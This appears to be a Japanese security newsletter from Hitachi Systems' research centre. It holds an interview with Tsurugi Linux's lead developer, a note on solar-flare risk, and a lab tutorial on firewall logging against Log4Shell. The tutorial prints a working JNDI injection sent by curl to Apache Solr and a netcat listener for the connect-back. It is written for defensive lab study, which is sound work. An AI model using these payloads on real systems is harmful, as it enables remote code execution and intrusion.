T

A

B

L

E

O

F

C

O

N

T

E

N

T

S

開発メンバーの熱意によって支えられるオープンソース・プロジェクト
DFIR に特化した Tsurugi Linux の開発チームリーダー

ジョバンニ・ラッタロ

インタビュー……………………………………………………… 3

社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.06………………………………… 8
セキュリティツールを実践的に紹介する連載企画

Let's Try 脆弱性検証 + 緩和策適用

3 . ログ取得設定編… ………………………………… 9●はじめに本文書は、株式会社日立システムズ サイバーセキュリティリサーチセンタが運営するセキュリティ情報サイト、S.S.R.C.(Shield Security
Research Center) の公開資料です。本サイトでは、本文書のバックナンバーをはじめ、S.S.R.C. によるリサーチ結果などを随時公開しています。
S.S.R.C. https://www.shield.ne.jp/ssrc/●ご利用条件
本文書内の文章等すべての情報掲載に当たりまして、株式会社日立システムズ（以下、「当社」といいます。）と致しましても細心の注意を払っておりますが、その内容に誤りや欠陥があった場合にも、いかなる保証もするものではありません。本文書をご利用いただい
たことにより生じた損害につきましても、当社は一切責任を負いかねます。
本文書に記載した会社名・製品名は各社の商標または登録商標です。
本文書に掲載されている情報は、掲載した時点のものです。掲載した時点以降に変更される場合もありますので、あらかじめご了承ください。
本文書の一部または全部を著作権法が定める範囲を超えて複製・転載することを禁じます。
© Hitachi Systems, Ltd. 2024. All rights reserved.

2

開発メンバーの熱意によって支えられるオープンソース・プロジェクト
DFIR に特化した Tsurugi Linux の開発チームリーダー

ジョバンニ・ラッタロ インタビュー
Giovanni “Sug4r” Rattaro

通訳 =El Kentaro ／ 取材・文 = 斉藤健一
「剣」という日本語を冠した Tsurugi Linux は、DFIR（デジタルフォレンジック・インシデントレスポンス）に特化したディストリビューションだ。教育素材として開発されたものだが、その使い勝手の良さから実際の調査でも使用されることも多い。また、このディストリビューションには日立システムズ社員が個人として開発に携わっているオープンソースツールも収録されている。今回は、Tsurugi Linux 開発チー
ムのリーダーであるジョバンニ・ラッタロ氏にご登場ねがい、オープンソース・プロジェクトを支える
開発メンバーの熱意について大いに語っていただいた。
業界が形作られる以前からこの分野に携わってきTsurugi Linux を最も必要としていたのはました。多くの同世代の人々がそうであったよう

自分自身に、私も自ら活動を始め、多くの発見をしてきました。キャリアとしては、フォレンジック調査

斉藤（以下

）
：インタビューの時間をいただき、員、ペンテスター、SOC のアナリストや監査人な

ありがとうございます。まず、ジョバンニさんのど、さまざまな職業を経て、現在は米国の Vectra

バックグラウンドについて伺いします。現在のごAI という企業に所属しています。職務はシニア・

職業と、セキュリティ業界に携わるようになった

カスタマー・サクセス・マネージャーで、顧客企きっかけを教えてください。

業の意思決定者とコミュニケーションを図りながジョバンニ（以下）：こちらこそ。われわれのら、複雑になりつつあるセキュリティ業界の状況

プロジェクトに興味を持ち、インタビューしていなどを説明しています。私の強みは、技術者からただけることに感謝します。私は、セキュリティ

エグゼクティブまで、あらゆる層の人々とそれぞジョバンニ・ラッタロ（Giovanni “Sug4r” Rattaro）
デジタルフォレンジック・ペネトレーションテ
スト・インシデント対応・脆弱性監査など幅広い分野のスキルを持つ。英語・フランス語などに堪能。フランスの大学などで教壇に立った経験もある。BackTrack や DEFT Linux のプロジェ
ク ト に 参 加 し た 後、2018 年 に Tsurugi Linux（https://tsurugi-linux.org/） の プ ロ ジ ェ ク ト を立ち上げ、開発リーダーを務めている。現在はVectra AI（https://www.vectra.ai/） に 所 属 し、
シニア・カスタマー・サクセス・マネージャーとして活躍している。
3

れの言葉でコミュニケーションできる点です。こ

しやすい名前になりました。日本のコミュニティ

れまでの経験が大いに役立っています。

への感謝の気持ちから、2018 年の AV TOKYO で
Tsurugi Linx の発表を行いました。

経歴を調べると、ペネトレーションテスト用途の BackTrack や、DFIR（デジタルフォレンジック・

Tsurugi Linux の特徴、または注力している点

インシデントレスポンス）に特化した DEFT Linuxを教えて下さい。

の開発に参加されたそうですね。

UI のメニュー構成には特に力を注いでいます。

さきほど言ったさまざまな経験の一環として、

Tsurugi Linux のメニュー構造は、データ取り出

BackTrack Linux の開発に携わっていました。15

しやフォレンジック調査ツールを順序立てて配置

年ほど前のことです。私はイタリア開発チームのすることで、ユーザーが効果的に学習できるよう管理者をしていました。また、デジタルフォレン

工夫しています。最初にデータ取り出しのためのジックに特化した DEFT Linux の開発にも参加しツールがあり、その後に調査、分析、ログ解析のています。

ツールが続くように設計されています。この構造は、フォレンジックの調査過程に合わせて配置さ

その後、Tsurugi Linux を立ち上げることになれているため、初心者でも実践的な知識を身につりますね。

けやすくなっています。

いったん離れて、自身のプロジェクトを立ち上げました。開発には先に参加していたプロジェク

いろいろと考えられたメニューなのですね。

トの多くのメンバーに協力してもらっています。

はい。例えば、Windows 端末の調査を行う際

プロジェクトは、デジタルフォレンジックに特化には、この順番でツールを使うと良いという流れしたものでしたが、オープンソースの脅威分析やをメニューに反映しているほか、Windows 用ツー

マルウェア解析、顔認証のセクションなども加え

ルを一箇所にまとめるなど、使いやすさを考慮しることにしました。

ています。また、ツールの多くは複雑で多機能ですが、それぞれのプロセスにおいて使いやすい形

Tsurugi Linux を立ち上げるきっかけは何だっで配置しています。私の考えとして、数千のツーたのでしょうか。
自分が最も必要としていたからです。大学なルがあったとしても使い方が分からなければ意味

どで DFIR の講師をしていた経験があるのですが、がありません。経験豊富な分析官は自分の方法でツールのインストールに 1 時間もかかり、本来のツールを使えば良いですが、初心者にはメニュー

講習が 30 分しかできないという非効率さが問題を追うことで学んでもらいたいと思っています。

でした。そのため、すぐに使えるディストリビュー

リリース後、ユーザーからの反響はどうでした

ションが欲しかったのが開発の主な理由の 1 つでか。

す。他に大きな目的としてあげられるのは、セキュ

Tsurugi Linux を公開してから、多くのユーザー

リティコミュニティへの恩返しといいますか、知から感謝の言葉をいただいています。これはオー識の共有や還元したかったことも挙げられると思プンソースで提供しているわれわれにとっては励います。

みになります。特に高価なサービスやハードウェ
ア、ソフトウェアを購入できない人たちが、われわかりました。なぜ、日本語の「剣（つるぎ）」

われのツールを使って犯罪行為の犯人を特定したという名前になったのでしょうか。

り、調査の要因を特定したりする成功事例を聞く

プロジェクトが進行する中で、順調にツールことはこの上ない喜びです。

の選定なども決まりましたが、名前だけがなかな
か決まらなかったのです。さまざまな名前が候補

実際にどれくらいのユーザーがいるのでしょうに挙がりましたが、著作権の問題などもあり、よか。

い名前がありませんでした。そのような中、日本全体の利用者数は正確には把握していませんの友人と話しているうちに「剣道」という言葉をが、サイトには毎日 5000 から 7000 のユニークビ

知り、プロジェクト名に合っていると感じて採用

ジターが訪れています。小さなプロジェクトとししました。結果的に、著作権の問題もなく、検索ては良い結果だと思います。カンファレンスなど
4

「剣」の文字が入ったポロシャツを着たジョバンニさん。背景は Tsurugi Linux のメインイメージだますか。

で発表があるとアクセス数は増えますが、具体的な統計情報は手元にありません。

もともとクラウドの大きな潮流を見越して、数年前にクラウド向けツールを Tsurugi Linux に導入

Tsurugi Linux 開発の舞台裏しました。まだまだ数は少ないですが、Azure などのインフラに対応できるようなツールを実装し開発メンバーは世界各地にいると思うのですています。将来的には、クラウド上に Linux のイが、コミュニケーションはどのようにされている

ンスタンスを立ち上げることを目指しています。

のでしょうか。

これにより、データをローカルにダウンロードし主要メンバー全員がイタリア在住のイタリアなくとも、クラウド上で直接データを分析できる人であるため、タイムゾーンが同じです。英語がようになり、インシデントが発生した際でもクラ得意ではないメンバーもいるため、多くの場合イ

ウド内で迅速に対応できます。

タリア語でやり取りしています。コミュニケー

Tsurugi Linux には、日立システムズの社員がションは非常に重要で、密に取ることが大切です。

個人として開発に携わっているオープンソース

時々、私からチームメンバーに対して、担当部分

ツール※が収録されています。今回、その方にジョを早く終わらせてほしいと伝えることもあります

バンニさんに尋ねたいことはないかと確認したとが、こうしたオープンなやり取りが可能なコミュ

ころ、いくつか質問をいただきましたので、このニケーションが大きな要因だと思います。

場で伺いたいと思います。

ほぼイタリアの方とは意外でした。話題は変わ

それは素晴らしいですね。

りますが、デジタルフォレンジックやインシデン

Tsurugi Linux に収録するツールはどのように

トレスポンスについて、2018 年の Tsurugi Linux探しているのでしょうか。

のプロジェクト開始当初と 2024 年の現代を比較

これまでは仲間内で使っているツールを実装

すると、ストレージの大容量化やシステムのクラしてきましたが、コミュニティが育つにつれて、ウド化など大きな変化があると思います。それにX（Twitter）などでユーザーから便利なツールの対して Tsurugi Linux はどのように対応していま提案が増えています。われわれはこれらの提案をすか、もしくはどのように対応しようと考えてい精査し、良いツールかどうか、既存のツールと重※ https://github.com/sumeshi

5

複していないかを判断します。すべてのツールやジェクトの安全性を守るため、開発メンバーの選

ユースケースを知ることは難しいですが、コミュ定には注意を払っています。

ニティからの提案を受け入れることでプロジェク

なるほど。そのような理由もあるのですね。

トがより多くの人に興味を持たれるようになりま

これは単にプロジェクト自体を守るだけでなした。このようにして、選別をかけてツールを実く、われわれのプロジェクトを使用しているユー

装しています。

ザーの安全を確保するためでもあります。もちろ

Tsurugi Linux 開発者もしくはユーザーが、収ん、昔からの知り合いだからといって、リスクが録されているオープンソースツールにバグを発見ゼロになるわけではありませんが、インターネッ

した場合、元のツールの開発者に通知を行ってい

ト経由で連絡をしてくる人たちよりも信頼がおけるのでしょうか。もし、通知を行っているとすれると考えています。

ば、それは Tsurugi Linux のプロジェクト全体のわかりました。他に注意を払っていることなど

ルールなのか、それとも個々の開発メンバーの判はありますか。

断になるのでしょうか。

Tsurugi Linux のコアメンバーは 2 人しかおら

状況によると思います。われわれは新しい ISOず、デバッグやフィードバックを提供する仲間がをリリースする際に、可能な限りツールを最新の周りにいます。これらのメンバーは主にイタリア

状態に更新し、反映することを目指しています。

で活動しています。他のメンバーは外部にいます

ただ、その作業量は非常に膨大であり、現在ではが、コアの部分に関しては私が全て担当していま

全てのツールを監視しながら更新することが難しす。例えば、ディストリビューションの ISO を作

い状況です。スポンサー企業を探し、インフラを成し、ビルドしています。追加されるものに関し提供してもらうことで更新作業を効率化する方法ても、私が全て精査し、正しいかどうかを判断しを検討していますが、まだ実現には至っていませて反映しています。

ん。バグの報告については、X やメールで連絡を仮に、他のオープンソースソフトウェアのプロ

いただければ、個別に対応し、修正を反映するよ

ジェクトにアドバイスするとしたら、何といいまう努めます。

すか。
Tsurugi Linux はセキュリティに関するプロジェ

参加メンバーの選定を厳しくするのはクトなので、どうしても懐疑的な見方をせざるを

プロジェクトやユーザーを守るため得ません。ですから残念ですが、ある程度疑いを持って人と接することを受け入れる必要があるの

続いてオープンソースコミュニティを騒がせたではないか、と言うでしょうね。

「XZ Utils」のコード侵害について伺いたいと思いま

セキュリティに関するプロジェクトならではのす。ご存じのとおり、長期にわたる活動で信頼を意見だと思います。

得て開発チームに入った人物が、ツールにバックドアを仕込んだというものです。Tsurugi Linux でプロジェクトの目的ははこうしたリスクに対する考えなどはありますか。

コミュニティへの貢献

先ほど主要開発メンバーの多くがイタリア人であることはお伝えしましたが、これは参加メン

これまでのお話を伺っていると、メンバーの皆バーの選定基準を厳しくした結果でもあります。

さんは自由時間とはいえ、相当の時間をこのプロ

過去には「なぜ自分のツールが採用されないのか」

ジェクトに費やしているように思いますが、いかといった問い合わせや、プロジェクトへの攻撃もがでしょうか。

ありました。例えば、GitHub のソースを見て「こ多くの時間を費やしていることは確かです。たれを取り入れろ」と熱心に提案してくる人もいまだ、それは他の人がサッカーを楽しむ感覚と同様

すが、プロジェクトの適性を考慮し、必要ないに、私はカーネルのビルディングをしており、そと判断することもあります。このようにしてプロれが私にとってのリラックス方法なのです。こ6

のプロジェクトに対する情熱が大きな要因ですが、学生や法執行機関からのニーズがあること も、 や り が い を 感 じ る 理 由の 1 つです。例えば、小さな企業でフォレンジックチームがいない場合でも、われわれのツールを使ってインシデントに対応できるといった話を聞くことは非常にやりがいがあります。そういったユーザーの声を聞くことで、私たちはこの作業が有意義な時間の過ごし方だと感じています。情熱を持ってこのプロ
ジェクトに取り組んでいるのでジョバンニさんからプロフィール画像と共に送っていただいたもの。こちらは BlackHat

す。

USA 2019 に登壇したときのもの

一般論ですが、多くのプロジェクトが熱意をれているのですね。

持って始めるのですが、その後、燃え尽きてしま

はい。プロジェクトチーム全員が努力している

うケースもあるようです。それを案じた質問でしことを知ってもらい、その成果が評価されることたが、開発することがリラックスに繋がっているがいちばん嬉しいです。プロジェクトが広まり、という話を伺い、とても安心しました。

コミュニティに貢献できることが、私たち全員に開発することがリラックスに繋がる。実はこれとって重要だと考えています。また、私個人としがこのプロジェクトの秘密なのです。開発していては、カンファレンス会場などで「Tsurugi Linux

く中で新しいことにチャレンジしたり、効率化にを使っています」や「Tsurugi Linux に助けられま

ついて考えたりすることにワクワクするのです。

した」といった声を聞くと、本当に嬉しく思います。

これまでの話を伺っていると、ジョバンニさん

プロジェクトの最終的なゴールとは何か教えてのように、こうしたディストリビューションを開下さい。

発している人たちも、重大な脆弱性を発見した研ゴールに関しては、コミュニティに感謝の気究者などと同じく、もっと注目されもっと尊敬さ

持ちを返すことが常にわれわれの目的です。プロれるべきだとも思うのですが、いかがでしょうか。

ジェクトを通じて新しい人々や興味深い人々に会注目されることにはあまりこだわっていませ

えることが、私たちにとってのやりがいです。こんが、インタビューを通じてプロジェクトに興味のまま進んでいくと信じています。将来的には、を持っていただけることには非常に感謝していま

例えば分析に関して、仲間にハードウェアに関すす。プロジェクトが広く知られるようになること

るトレーニングを行ったり、私たちが知らないは喜ばしいことであり、プロジェクトの発展やコツールを使っている場合、そのツールを実装してミュニティへの貢献が期待できます。ユーザーかいければと考えています。企業体を持たない形でらのフィードバックを通じてツールのエラーや改のコミュニティプロジェクトとして、コミュニ

善点を教えてもらうことで、プロジェクトは成長

ティの成長に合わせて私たちも成長していければしていきます。

と願っています。

人でなくプロジェクトが注目されることを望ま

本日はありがとうございました。

7

社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.06
文＝ SHIELD Security Research Center
きな教訓となっている。例えば、米国の電力 ISAC
太陽フレアの影響について

では、太陽フレア、磁気嵐、電磁場の周波数の変動を注視、情報共有を行っているほか、脆弱な変圧器【概要】：2024 年 5 月、「太陽フレア」に関する報には必要に応じて交流電力を遮断できるよう、リア

道が多数あった。太陽フレアは太陽の黒点周辺でルタイムの地磁気誘導電流モニターを追加するよう起こる現象で、電磁波や高エネルギー粒子を放出推奨している。また、カナダ政府は電力網インフラ

し、通信機器や衛星に影響を及ぼす可能性がある。

保護のために 12 億カナダドルを投資し、多数の遮大規模な太陽フレアが頻発することが予想される

断コンデンサを設置する等の対策を施している。
従来から対策が進んでいる分野としては航空、

2025 年 7 月に備えて、対策を検討する必要がある。

船舶業界が挙げられる。航空業界は、宇宙天気の【内容】：太陽フレアとは、太陽の黒点付近で生じ太陽フレアや磁気嵐、高周波通信の一時的中断現る爆発現象で、強い紫外線や X 線、電磁波など

象の予測に着目し、太陽フレアが発生した場合のが放射され、地球に到達すると衛星通信の断絶や人への被ばくリスク軽減、および飛行ルートの変

GPS の誤差、電力設備の損傷、航空機の放射線被更などの対策を講じている。船舶業界は、船位確曝などのリスクが生じる。太陽活動は約 11 年周認を GSP による位置情報に依存しているため、利期で変動し、現在は第 25 周期目にあたる。太陽

用不可となった場合に備えたクロスベアリング（海活動のピーク時にはフレアの頻度が高まり、第 23

図などで複数の物標を使用して方位を測定する方周期（2000 ～ 2002 年）には巨大フレアと磁気嵐法）やランニングフィックス（一定間隔で測ったが電力網や人工衛星に影響を与えた。現代におい同じ物標の方位を用いた位置特定方法）などの手ては、その当時よりも多くの人工衛星が社会イン法が取り入れられている。
一方、IT 業界では、Cisco 社が自社製品に対す

フラに組み込まれており、その重要性から停電のる太陽フレアの影響を注視し、2000 年初頭より宇影響は甚大である。
日本では国立天文台が 1910 年代から太陽活動

宙放射線の電子部品への影響について研究していの画像やデータを公開しており、NICT（国立情報る。これまで太陽フレアが IT システムに影響を及

通信研究機構）は宇宙天気の観測情報を発信してぼすことは十分に考慮されてこなかったが、今後いる。これらの観測は、太陽活動が技術システム

は機器が磁気嵐の影響で故障することも想定するや人間活動に影響を与えるためである。NICT は宇必要がある。

宙天気予報の高度化を目指し、新たなパートナー

今後、太陽活動はピーク期に向かって活発にな国の開拓や観測データの交換・共有体制の強化にると考えられる。その影響は広範囲で不可避と認取り組んでいる。

識されがちだが、日々の観測結果から予測が可能

1989 年に発生した太陽フレアによる磁気嵐は、であり、航空・船舶業界では以前から対策をしてカナダのケベック州の電力網に過電流による変圧いる。今後は、通信・電力などの社会インフラを器コイル損傷を与え、９時間に及ぶ停電を引き起支える IT システムにおいても太陽フレアによる影

こした。この事象は、昨今の電力業界における大響を想定しておく必要がある。

［情報源］https://www.soumu.go.jp/main_content/000821252.pdf

8

セキュリティツールを実践的に紹介する連載企画

Let's try 脆弱性検証 + 緩和策適用

3． ログ取得設定編

文＝ SHIELD Security Research Center1．はじめに
本稿は、各種セキュリティツールなどを実践的に紹介する連載企画です。前号からはじまった第四部「脆弱性検証 + 緩和策適用」では、2021 年に確認され、広範囲に影響を及ぼした Apache Log4j の脆弱性（CVE-2021-44228）を悪用する攻撃、通称 Log4Shell の体験を通して、緩和策適用のための設定、予防に必要なログ取得の設定などを確認します。JVN iPdedia では、「Log4j には JNDI Lookup 機能による外部入力値の検証不備に起因して任意の Java コードを実行可能な脆弱性が存在します」と解説されており、その深刻度も「緊急」や「危険」と評価されています※ 1。
第四部「脆弱性検証 + 緩和策適用」は以下の構成となっており、そのイメージを図 1 に示します。
1． 脆弱性（Log4j）体験編
仮想環境上に Apache Solr を構築し、Apache Solr に内包された Log4j の脆弱性
（CVE-2021-44228）の体験します。
2． 緩和策設定編
Log4j の脆弱性（CVE-2021-44228）が公開されたタイミング（パッチがまだ公開されていないことを想定）での推奨されている緩和策 (mitigation) を試行します。
3. ログ取得設定編
Log4j の脆弱性を悪用する攻撃、通称 Log4Shell において、取得可能なログの一部を確認します。
今回は、③ログ取得設定編として、適切にログ取得設定を実施しておくことで、Log4shell 攻撃を受けた後に、ログによる痕跡確認の可否を確認します。なお、本稿の安全性には留意していますが、安全を保証するものではありません。また、OA 端末で実施するのではなく、分離された回線内および機器を利用することを推奨します。また、本稿はセキュリティ対策の共有を目的として提供されています。本稿から得た知識は倫理的かつ法律を遵守した範囲で使用し、悪用しないようお願いします。
ログ取得設定

緩和策設定

脆弱性体験
攻撃サーバー（ホスト名：Attacker）

やられサーバー（ホスト名：Victim）

図 1 第四部「脆弱性検証 + 緩和策適用」全体の構成と、今号で扱う内容（赤字部分）※ 1 https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html

9

2．ログ取得設定
2.1 firewalld アウトバンド 80、443 開放設定
前回の緩和策で行った FW の設定では、システム内から発生する内→外向きの通信は全てフィルタリングされます。しかし、通常のサーバであれば、システムアップデートや業務に必要なポートなどを開放する必要があります。今回は、システムアップデートなどでよく利用される 80、443 ポー
トを開放してみます。
やられサーバー（Victim）で、次のコマンドを入力してください。
# firewall-cmd --reload# firewall-cmd --direct --get-all-rules# firewall-cmd --list-all --zone=public
firewalld の direct に設定が入っていないこと、外からの 8983 ポートが許可されていることを確認します。

確認できたら、次のコマンドを入力します。
# firewall-cmd ––permanent ––direct --add-rule ipv4 filter
OUTPUT 1 -p tcp --dport 80:443 -j ACCEPT# firewall-cmd ––permanent ––direct --add-rule ipv4 filter
OUTPUT 2 -m state --state NEW -o enp0s3 -j DROP
# firewall-cmd ––reload# firewall-cmd ––direct --get-all-rules
次の通り設定が入っていることを確認してください。

102.2 脆弱性の検証
Attacker で、以下のコマンドを実行し、netcat プログラムを利用して、今回は 80 番ポート /tcp で待ち受けをします。
# nc -lnvp 80
nc が 80 番ポートで待ち受けていることを確認してください。

次に、Ctl+Alt+F2 を入力し、別のターミナルへ移動します。
別のターミナルへ移動したら、次のコマンドを実行します（80 番ポートに変更）。
# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?
foo=$\{jndi:ldap://Attcker の IP アドレス :80\}’ここのコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメーターに、Log4shell の検証コードを入力しています。
コマンド入力後、特段変わった表示はされません。

次に、Ctl+Alt+F1 を入力し、nc が 80 番ポートで待ち受けているターミナルへ戻ると、今回は攻撃が成功し、やられサーバ−（Victim）へのコネクトバック通信が発生していることが確認できます。

システムアップデートや業務に必要なポートなどを開放したため、当然の結果といえます。しかし、前回行った FW による緩和策は、すべての内→外向き通信が許可していない状況でないと、
Log4shell 攻撃を防ぎきることが難しいことを示しています。攻撃者は空いていると考えられるポートを順次探索して攻撃するなどしてくるため、FW 設定次第では緩和策としては不十分であることが確認できます。

11

2.3 firewalld ログ取得設定緩和策としては不十分である事を確認しましたが、FW が、Log4shell 攻撃に無意味かというと、必ずしもそうとも限りません。設計段階から FW の設計をしっかりと行うこと（例：アクセス先 IP ア
ドレスを制限するなど）で、Log4shell のような新たな攻撃が発生した際に、攻撃からシステムを守る一助とはなります。
他方、FW でログを取得し、監視を行うことは、攻撃を即座に検出することにつながります。
ここでは、FW でのログ取得を行い、Log4shell 攻撃時のログ出力状況を確認します。
やられサーバー（Victim）で、まずは、次のコマンドを実行してください。
# dmesg --console-level 3
これは、firewalld による余計なログ出力を抑えるための設定です。
設定が終わりましたら次のコマンドを実行してください。これにより、FW がログを出力するように設定します。
# firewall-cmd –-get-log-denied# firewall-cmd –-set-log-denied=all# firewall-cmd –-get-log-denied
以下の通り、「all」が出力されましたら設定は完了です。

2.4 脆弱性の検証
Attacker で、次のコマンドを実行してください。
# curl ‘http://Victim の IP アドレス :8080/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス :80\}’# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス \}’このコマンドでは、前段は 8080 番ポート（tomcat などが待ち受けていることが多い）、後段は、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメーターに、Log4shell の検証コードを入力しています。
コマンド入力後、前段は、FW により接続が拒否され、接続ができない旨の表示がなされます。

12

後段はこれまでと同じく変わった表示はされません。

2.5 ログの出力確認
ログの出力状況を確認します。
やられサーバー（Victim）で、以下のコマンドを実行してください。
# tail /var/log/messages
以下のログが確認できます。

SRC（Source） に Attacker（192.168.0.40）、DST（Destination） に Victim（192.168.0.38）、DPT（Destination Port ）に 8080 が記録されており、Attacker から Victim の 8080 番ポートへの通信をブロックした通信ログが記録されていることが確認できます。他方、通信が成功した 8983 番ポートへの通信についてはログが出力されません。これは、先に設定した firewalld のログ出力設定では、拒否した通信でないとログを出力しないためです。
2.6 許可通信（内→外向き）ログ取得設定
先に設定した firewalld のログ出力設定では、拒否した通信でないとログを出力しないため、許可された通信についても、ログを出力しないと、Lo4shell 等の攻撃に対する予防的措置としては不十分です。しかし、8983 番ポートへの通信が提供しているサービスと過程すると、これらのログを
すべてのサーバーで取得、保存することは、ログだけでディスクを圧迫するなど、効果的ではないかもしれません。
他方、昨今、内→外向き通信で、マルウエアダウンロードするなどの攻撃が一般的です。そこで、本稿では、内→外向きの許可された通信のログのみを予防的に取得する設定を試行します。
やられサーバー（Victim）で、次のコマンドを入力してください。
# firewall-cmd ––permanent ––direct --add-rule ipv4 filter OUTPUT 0 -m
state --state NEW -p all -j LOG --log-prefix HJ-firewalld# firewall-cmd ––reload
ルールの設定が完了したら、次のコマンドを入力してください。
# firewall-cmd ––direct --get-all-rules13次の通り設定がなされていれば、FW の設定は完了です。

2.7 脆弱性の検証
Attacker で、次のコマンドを実行してください。
# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス :このコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメーターに、Log4shell の検証コードを入力しています。
コマンド入力後、後段は変わった表示はされません（ここでは攻撃の成否は問いません）。

2.8 ログの出力確認
ログの出力状況を確認します。
やられサーバー（Victim）で、以下のコマンドを実行してください。
# tail /var/log/message
以下のログが確認できます。

RC（Source）に Victim(192.168.0.38) 、DST（Destination）に Attacker（192.168.0.40）、DPT（Destination
Port ）に 80 が記録されており、Victim から 80 番ポートへのコネクトバック通信ログが記録されていることが確認できます。このログ自体のみでは、この通信自体が攻撃に関わる通信か否かの判断は難しいかもしれません。しかし、通常、外向きの 80 番ポート通信が、システムアップデート
用通信しかない場合、今回のようにログを取得しておいた上で、メンテナンス履歴との整合性を確認したり、しっかりとログを監視しておいたりすることで、普段とは異なる挙動を検出できるなど、攻撃を検出できる可能性が高まります。また、実際に攻撃被害発生したのちにおいても、FW のロ
グを確認することで、攻撃経路等の確認ができる可能性があることがわかります。

3．その他ログ取得設定
3.1 ログの出力設定2.6 で設定した FW の設定には、--log-prefix オプションを指定しています。そのため、出力されるロ
グには「HJ-firewall」の文字列が付与されています。
14

これを活用して、ログの出力先を変更します。
やられサーバー（Victim）で、次の例を参考に「/etc/rsyslog.conf」に設定を追記してください。

保存の後、次のコマンドを実行します。
# systemctl restart rsyslog
これで、ＦＷのログデータが、専用ファイルに出力されるようになります。
例えば、再度、Log4shell の検証コードを用いてアクセスすることで「/var/log/HJ-firewalld.log」にログが出力されます。
ここでは、次のコマンドを実行してログファイルを生成しておきます。
# touch /var/log/ HJ-firewalld.log
3.2 ログローテート設定
ログには多くの記録がされますので適切に管理をしないと、必要なログが削除されてしまったり、
他方、不要にディスクを圧迫したりしてしまう場合があります。ログを取得する際には、ログをローテトするなど適切に管理しましょう。
今回は、logrotate.d を用いてローテトの設定を行います。
やられサーバー（Victim）で、以下の内容を「/etc/logrotate.d/HJ-firewalld.log」として保存してください。

保存の後、次のコマンドを実行します。
# logrotate -d /etc/logrotate.d/HJ-firewalld.log

15

今回、ログデータされる条件を満たしていないため、ローテトされることはないと思いますが、「log
does not …」とローテト設定がなされていることが確認できたら設定は完了です。

4．おわりに
今回は、③ログ取得設定編として、適切にログ取得設定を実施しておくことで、Log4shell 攻撃を受けた後に、ログによる痕跡確認の可否を確認しました。必用に応じてログの取得設定を見直し、攻撃を受けてしまった際にも、即座に痕跡を確認できるようにしておきましょう。
次号からは、ニュース記事、ソーシャル メディア、政府報告書などの公的に利用可能なソースから情報を収集および分析する「OSINT」の手法を確認します。

16